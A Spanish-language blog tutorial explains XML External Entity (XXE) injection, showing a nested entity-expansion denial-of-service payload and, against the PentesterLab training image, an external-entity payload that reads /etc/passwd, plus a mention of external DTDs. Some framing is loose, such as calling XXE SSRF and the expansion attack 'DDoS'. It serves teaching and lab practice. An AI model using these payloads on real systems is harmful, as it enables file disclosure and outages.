Post83 nn

Explorando la vulnerabilidad XXE [XML External Entity]


Logo uri spioni mh 1
Cristian Palma P

¿Qué es la vulnerabilidad de XXE y en qué consiste?


XXE se refiere a un ataque de falsificación de solicitud de servidor (SSRF), mediante el cual un atacante es capaz de causar:

  1. Denegación de servicio (DDoS)
  2. Acceso a archivos y servicios locales o remotos

Una vulnerabilidad de XXE consiste en una inyección que se aprovecha de la mala configuración del intérprete XML permitiendo incluir entidades externas, este ataque se realiza contra una aplicación que interpreta lenguaje XML en sus parámetros.


¿Cómo se detecta esta vulnerabilidad?


La siguiente imagen nos muestra un request realizado mediante el método POST:


Content Types = XML


Como podemos visualizar en la imagen anterior el Content Types es de tipo text/xml, application/xml estos son indicadores que nos permiten verificar, cómo los parámetros son enviados por el request a un intérprete de XML, adicionalmente también existe puede darse al parsear archivos como JSON a XML e inyectar el payload en el sitio web.


Veamos el ejemplo más a continuación


Mediante las etiquetas <foo></foo> podremos obtener como resultado el String o variable que configuremos



POST Prueba.com/Interprete_XML  HTTP/1.1

<foo>

Primer Ejemplo

</foo>

HTTP/1.0 200 OK


Primer Ejemplo


Interprete XML



Podemos diseñar una función que repita una variable, que posteriormente el resultado de la variable se vaya anidando en otra, en otra  y en otra,  así sucesivamente:


POST Prueba.com/Interprete_XML  HTTP/1.1


<!DOCTYPE foo [

 <!ELEMENT foo ANY>

 <!ENTITY variable "Segundo Ejemplo ">

 <!ENTITY var1 "&variable;&variable;">

 <!ENTITY var2 "&var1;&var1;&var1;&var1;">

 <!ENTITY var3 "&var2;&var2;&var2;&var2;&var2;">

]>

<foo>

 &var3;

</foo>

HTTP/1.0 200 OK


Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo

Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo

Intérprete XML peticiones masivas “ataque denegación de servicios



A continuación vemos un ejemplo práctico utilizando la imagen ISO de PentesterLab:


Pentester Lab


Para este ejemplo podemos observar cómo se está enviado una etiqueta de texto mediante el método ‘GET’ a un intérprete de XML




Intérprete XML mediante método GET


En base a esta información crearemos el siguiente Payload de manera que enviaremos al sistema una petición que nos devuelva el contenido de un archivo en específico

GET  URL/xml/example.php?xml=<test>Hacker</test>

Para comprobar que la instancia es vulnerable cambiaremos la etiqueta <test> y utilizaremos el siguiente payload basado en el segundo ejemplo:

<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar "World">  <!ENTITY barxee "&bar; XEE" > ]> <foo> &barxee; </foo>

A continuación podemos visualizar el resultado:




URL vulnerable a XXE


Como podemos evidenciar la petición fue procesada de manera exitosa.

Basados en esta evidencia volveremos a manipular el payload de modo que nos permitirá obtener información crítica del sistema.

La siguiente petición solicitará al servidor la lista de usuarios del archivo /etc/passwd

<!DOCTYPE foo  [<!ENTITY bar SYSTEM "file:///etc/passwd">]> <foo>&bar;</foo>


Responde con la lista de usuarios del servidor


Ahora solo queda seguir entendiendo esta vulnerabilidad de manera que vayamos ampliando el rango de alcance que podríamos obtener.

Adicionalmente existe otro método en cual solicitaremos que el payload se conecte a un .dtd que tengamos en nuestro servidor, de manera que el servidor realice las peticiones por nosotros.





Artículos que te pueden interesar